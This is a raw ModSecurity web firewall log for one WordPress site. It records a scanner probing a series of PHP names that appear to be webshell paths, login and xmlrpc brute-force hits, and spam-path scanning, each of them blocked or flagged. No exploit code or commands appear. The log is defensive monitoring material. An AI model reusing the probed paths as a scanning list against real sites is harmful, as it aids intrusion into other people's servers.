[Mon Mar 02 12:15:53.447403 2026] [:error] [pid 28794:tid 28849] [client 20.104.124.39:25174] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaUO-aVy2qpaelbUob2DSwAAAE0"]
[Mon Mar 02 12:15:54.096916 2026] [:error] [pid 23872:tid 23897] [client 20.104.124.39:24997] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaUO-kzkQFuA2qBk8UMPbAAAAZY"]
[Mon Mar 02 12:15:54.646862 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:25158] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaUO-oqJmC8ih_lQQnBnpgAAANY"]
[Mon Mar 02 12:15:55.369914 2026] [:error] [pid 23872:tid 23880] [client 20.104.124.39:25202] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaUO-0zkQFuA2qBk8UMPbwAAAYU"]
[Mon Mar 02 12:15:55.919129 2026] [:error] [pid 28908:tid 28911] [client 20.104.124.39:24643] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaUO-4qJmC8ih_lQQnBntgAAAME"]
[Mon Mar 02 12:15:56.977439 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:24658] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaUO_IqJmC8ih_lQQnBnxAAAAMU"]
[Mon Mar 02 12:15:57.666376 2026] [:error] [pid 14466:tid 14487] [client 20.104.124.39:25164] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aaUO_f8w-ahEIiUSqM5UzwAAAdM"]
[Mon Mar 02 12:15:58.254786 2026] [:error] [pid 28908:tid 28912] [client 20.104.124.39:24722] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaUO_oqJmC8ih_lQQnBnzQAAAMI"]
[Mon Mar 02 12:15:58.952455 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:24655] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaUO_oqJmC8ih_lQQnBn2gAAAMA"]
[Mon Mar 02 12:15:59.586906 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24680] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaUO_yrocdArcJqFfIkfDwAAAUo"]
[Mon Mar 02 12:16:00.355590 2026] [:error] [pid 21575:tid 21582] [client 20.104.124.39:24649] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aaUPACrocdArcJqFfIkfFQAAAUM"]
[Mon Mar 02 12:16:01.203038 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:24651] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaUPAYqJmC8ih_lQQnBn6QAAAM4"]
[Mon Mar 02 12:16:02.525199 2026] [:error] [pid 14466:tid 14476] [client 20.104.124.39:25064] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaUPAv8w-ahEIiUSqM5U2AAAAcg"]
[Mon Mar 02 12:16:03.158434 2026] [:error] [pid 23872:tid 23882] [client 20.104.124.39:25218] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaUPA0zkQFuA2qBk8UMPggAAAYc"]
[Mon Mar 02 12:16:03.658834 2026] [:error] [pid 28795:tid 28866] [client 20.104.124.39:24642] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aaUPA7ROd53wZBkdI_fAHQAAAIM"]
[Mon Mar 02 12:16:04.668943 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:25176] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaUPBIqJmC8ih_lQQnBn-gAAAMw"]
[Mon Mar 02 12:16:05.456756 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:25033] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaUPBYqJmC8ih_lQQnBn_gAAAM8"]
[Mon Mar 02 12:16:06.712837 2026] [:error] [pid 28794:tid 28841] [client 20.104.124.39:24733] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaUPBqVy2qpaelbUob2DTQAAAEU"]
[Mon Mar 02 12:16:07.617506 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24665] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ova.php"] [unique_id "aaUPB4qJmC8ih_lQQnBoDAAAAMQ"]
[Mon Mar 02 12:16:08.640097 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:25260] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaUPCIqJmC8ih_lQQnBoEgAAANA"]
[Mon Mar 02 12:16:09.222148 2026] [:error] [pid 23872:tid 23875] [client 20.104.124.39:24661] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaUPCUzkQFuA2qBk8UMPhwAAAYA"]
[Mon Mar 02 12:16:09.821000 2026] [:error] [pid 21575:tid 21602] [client 20.104.124.39:25060] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaUPCSrocdArcJqFfIkfPgAAAVc"]
[Mon Mar 02 12:16:10.347450 2026] [:error] [pid 23872:tid 23892] [client 20.104.124.39:24696] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaUPCkzkQFuA2qBk8UMPiwAAAZE"]
[Mon Mar 02 12:16:11.064035 2026] [:error] [pid 14466:tid 14489] [client 20.104.124.39:25252] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaUPC_8w-ahEIiUSqM5U5wAAAdU"]
[Mon Mar 02 12:16:11.689052 2026] [:error] [pid 28795:tid 28885] [client 20.104.124.39:24747] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "aaUPC7ROd53wZBkdI_fAJQAAAJY"]
[Mon Mar 02 12:51:54.019083 2026] [:error] [pid 31257:tid 31276] [client 211.21.61.225:50494] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaUXav-JFLfishX45N96HAAAAQ0"]
[Mon Mar 02 14:01:29.128738 2026] [:error] [pid 59600:tid 59613] [client 42.0.5.229:11032] [client 42.0.5.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.0.5.229, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaUnuYQ5lE4yocV9IBdqOwAAAAQ"]
[Mon Mar 02 14:01:36.888621 2026] [:error] [pid 59602:tid 59666] [client 179.0.122.86:58964] [client 179.0.122.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.0.122.86, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaUnwDMtSo_Fr0lHnSbAhgAAAIE"]
[Mon Mar 02 16:30:26.399013 2026] [:error] [pid 28847:tid 28859] [client 221.229.106.25:51714] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaVKop9xbBq8VfeqVDZtEwAAAMo"]
[Mon Mar 02 16:31:17.185670 2026] [:error] [pid 59600:tid 59633] [client 18.199.53.88:43316] [client 18.199.53.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.199.53.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaVK1YQ5lE4yocV9IBfDLwAAABg"]
[Mon Mar 02 17:33:05.228934 2026] [:error] [pid 59600:tid 59626] [client 51.77.218.191:50182] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaVZUYQ5lE4yocV9IBfh7wAAABE"]
[Mon Mar 02 17:33:07.609186 2026] [:error] [pid 59601:tid 59649] [client 51.77.218.191:48710] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaVZU8Q1lXfvWN0-ZQloEwAAAEs"]
[Mon Mar 02 17:33:10.069487 2026] [:error] [pid 28847:tid 28851] [client 51.77.218.191:48722] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaVZVp9xbBq8VfeqVDaZiAAAAMI"]
[Mon Mar 02 17:33:12.689940 2026] [:error] [pid 59600:tid 59617] [client 51.77.218.191:40018] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaVZWIQ5lE4yocV9IBfiCwAAAAg"]
[Mon Mar 02 17:33:15.082060 2026] [:error] [pid 59734:tid 59758] [client 51.77.218.191:40020] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaVZW5eWQx7ZQG9NybHphQAAAVY"]
[Mon Mar 02 17:33:17.657939 2026] [:error] [pid 28847:tid 28861] [client 51.77.218.191:40026] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaVZXZ9xbBq8VfeqVDaZmgAAAMw"]
[Mon Mar 02 17:33:20.034106 2026] [:error] [pid 59602:tid 59688] [client 51.77.218.191:40030] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaVZYDMtSo_Fr0lHnSYTmwAAAJc"]
[Mon Mar 02 17:33:22.452403 2026] [:error] [pid 59600:tid 59619] [client 51.77.218.191:57960] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaVZYoQ5lE4yocV9IBfiKgAAAAo"]
[Mon Mar 02 17:33:24.868649 2026] [:error] [pid 28847:tid 28871] [client 51.77.218.191:57964] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaVZZJ9xbBq8VfeqVDaZrAAAANY"]
[Mon Mar 02 17:33:27.249150 2026] [:error] [pid 28847:tid 28873] [client 51.77.218.191:57976] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaVZZ59xbBq8VfeqVDaZuAAAANg"]
[Mon Mar 02 17:33:29.674302 2026] [:error] [pid 59701:tid 59713] [client 51.77.218.191:57978] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaVZaeUmTDVso96U9_Kj0gAAAQk"]
[Mon Mar 02 17:33:32.078221 2026] [:error] [pid 59601:tid 59648] [client 51.77.218.191:55564] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaVZbMQ1lXfvWN0-ZQloNAAAAEo"]
[Mon Mar 02 17:33:34.612462 2026] [:error] [pid 59734:tid 59746] [client 51.77.218.191:55570] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaVZbpeWQx7ZQG9NybHptwAAAUo"]
[Mon Mar 02 17:33:37.079351 2026] [:error] [pid 59734:tid 59745] [client 51.77.218.191:55580] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaVZcZeWQx7ZQG9NybHpvgAAAUk"]
[Mon Mar 02 17:33:39.696028 2026] [:error] [pid 28847:tid 28865] [client 51.77.218.191:55586] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaVZc59xbBq8VfeqVDaZ4gAAANA"]
[Mon Mar 02 17:33:42.325221 2026] [:error] [pid 59600:tid 59628] [client 51.77.218.191:34822] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaVZdoQ5lE4yocV9IBfiPAAAABM"]
[Mon Mar 02 17:33:44.738949 2026] [:error] [pid 59701:tid 59708] [client 51.77.218.191:34846] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaVZeOUmTDVso96U9_Kj6QAAAQQ"]
[Mon Mar 02 17:33:47.291407 2026] [:error] [pid 59701:tid 59722] [client 51.77.218.191:34856] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaVZe-UmTDVso96U9_Kj7AAAARI"]
[Mon Mar 02 17:33:49.789826 2026] [:error] [pid 59701:tid 59712] [client 51.77.218.191:34866] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaVZfeUmTDVso96U9_Kj8QAAAQg"]
[Mon Mar 02 17:33:52.284792 2026] [:error] [pid 59734:tid 59737] [client 51.77.218.191:33908] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaVZgJeWQx7ZQG9NybHp0gAAAUE"]
[Mon Mar 02 17:33:54.773229 2026] [:error] [pid 28847:tid 28860] [client 51.77.218.191:33920] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aaVZgp9xbBq8VfeqVDaZ-AAAAMs"]
[Mon Mar 02 17:38:16.215283 2026] [:error] [pid 28847:tid 28851] [client 217.61.143.66:49002] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.61.143.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaVaiJ9xbBq8VfeqVDaeewAAAMI"]
[Mon Mar 02 17:49:01.676467 2026] [:error] [pid 59602:tid 59672] [client 194.164.173.215:59658] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.173.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaVdDTMtSo_Fr0lHnSYZjwAAAIc"]
[Mon Mar 02 17:50:59.756525 2026] [:error] [pid 28847:tid 28866] [client 5.196.202.32:54276] [client 5.196.202.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.196.202.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaVdg59xbBq8VfeqVDaoigAAANE"]
[Mon Mar 02 18:16:07.458705 2026] [:error] [pid 59602:tid 59678] [client 5.135.131.226:60600] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaVjZzMtSo_Fr0lHnSYjlAAAAI0"]
[Mon Mar 02 18:16:09.814863 2026] [:error] [pid 28847:tid 28849] [client 5.135.131.226:39862] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aaVjaZ9xbBq8VfeqVDa6qQAAAMA"]
